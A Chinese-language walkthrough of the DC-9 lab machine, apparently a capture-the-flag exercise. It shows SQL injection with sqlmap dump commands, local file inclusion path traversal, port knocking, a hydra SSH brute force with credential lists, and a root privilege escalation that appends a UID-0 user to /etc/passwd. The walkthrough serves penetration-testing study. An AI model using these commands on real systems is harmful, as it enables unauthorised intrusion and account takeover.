目录
4.1 利用 LFI 查看 /etc/knockd.conf 文件内容
DC-9靶机渗透测试
实验环境:
kali IP:192.168.3.196/24
DC-9的MAC地址:00:50:56:34:52:EA(IP为192.18.3.198)
1、信息收集
1.1 扫描开放的端口
1.2 访问WEB站点
在 search 下表单输入内容提交发现跳转到 results.php 页面,抓包查看数据包
发现在 /results.php 进行了 POST 传参,参数为 search=1,尝试使用 sqlmap 进行爆数据
2. SQL注入
点击search,也就是在search.php页面中,输入
Mary' and 1=1#
和Mary' and 1=2#
,前者返回Mary的结果,后者为空,存在sql注入。
爆数据库:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --dbs
注意--data 选项的用法
查看当前数据库:sqlmap -u http://192.168.3.198/results.php --data 'search=1' --current-db (current database: 'Staff')
查看Staff数据库中的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" --tables(发现StaffDetails表和 Users表)
查看Users中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" --columns(对Password和Usename字段感兴趣)
查看Password和Username字段内容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" -C "Password|Username" --dump (弹出的都选y,否则爆出来的密码没解密)
Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
Username:admin
解码后为admin:transorbital1
爆users数据库的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" --tables (UserDetails)
查看UserDetails中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" --columns
查看password和username字段内容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" -C "password" --dump
我太傻了,直接看表不就好了:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D users -T UserDetails --dump
查看Users表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D Staff -T Users --dump
解码后为admin:transorbital1
3、admin登录后台
登入后发现有 File does not exist 字样,疑似有文件包含!!!
4、尝试文件包含
http://192.168.3.198/manage.php?file=../../../../../../etc/passwd
发现有本地文件包含(LFI)
然后接下来尝试看看有没有远程文件包含(RFI)
http://192.168.3.198/manage.php?file=http://192.168.3.90/yjh.php(在本地web根目录写一个yjh.php)
发现不允许远程文件包含!
接下来不知道怎么办了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件内容
4.1 利用 LFI 查看 /etc/knockd.conf 文件内容
knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。(将ssh隐藏了起来)
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口knochd 服务:
在使用此服务时,他人访问你的端口会显示 close 状态,只有按照特定顺序(配置文件)访问规定端口后才会开放被访问的端口,依次访问特定端口后才会关闭被访问的端口
?file=../../../../../etc/knockd.conf
使用nmap:nmap -p 7469,8475,9842 192.168.3.198
nmap -p 8475 192.168.3.198
nmap -p 9842 192.168.3.198
4.2 hydra 爆破用户名和密码
name.txt:
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin
passwd.txt:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1
命令:hydra -L name.txt -P passwd.txt 192.168.3.198 ssh
[22][ssh] host: 192.168.3.198 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.3.198 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.3.198 login: janitor password: Ilovepeepee
5. 登录SSH
一个一个登录看看,有没有什么有用的东西。
ssh janitor@192.168.3.198
进去看看
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
增加在pass.txt后重新进行爆破
发现新增加了一个用户:login: fredf password: B4-Tru3-001
使用fredf登录ssh:ssh fredf@192.168.3.198
6、提权
思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——行不通!)
发现 /opt/devstuff/dist/test/test 可以无需密码以 root 权限执行
思路2、查看有没有一些具有suid权限的命令
find / -perm /4000 2>/dev/null
进入/opt/devstuff目录下,看到test.py文件
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
test.py的功能是把一个文件的内容写到另一个文件中
含义:可以看到该脚本是判断参数是否为 3 个,如果是 3 个,将第二个文件中内容读出,写到第三个文件末尾)
test目录可以root权限执行:
因为我们可以以 root 权限执行该脚本,所以我们尝试构造数据进行对 /etc/passwd 进行添加
6.1 构造root权限用户
openssl passwd -1 -salt toor 123456 #构造toor用户密码为123456的hash
$1$toor$9mBAQXqhpCXpTk7V6d/kI0
构造结果:toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash
复习:
root : x : 0 : 0 : root : /root : /bin/bash
HSP : x : 500 : 500 : : /home/HSP : /bin/bash
字段1:用户名称
字段2:密码占位符
字段3:用户的uid (0表示超级用户,500-60000表示普通用户,1-499表示程序用户)程序用户不允许登录系统
字段4:基本组的gid(先有组才有用户,先建立组再建立用户)
字段5:用户信息记录字段(这个字段基本上废弃了)
字段6:用户的家目录
字段7:用户登录系统后使用的命令解释器
echo 'toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash'>/tmp/toor #将其写入/tmp/toor文件中
cd /opt/devstuff/dist/test #进入脚本路径
sudo ./test /tmp/toor /etc/passwd #使用脚本
su toor #切换用户输入密码:123456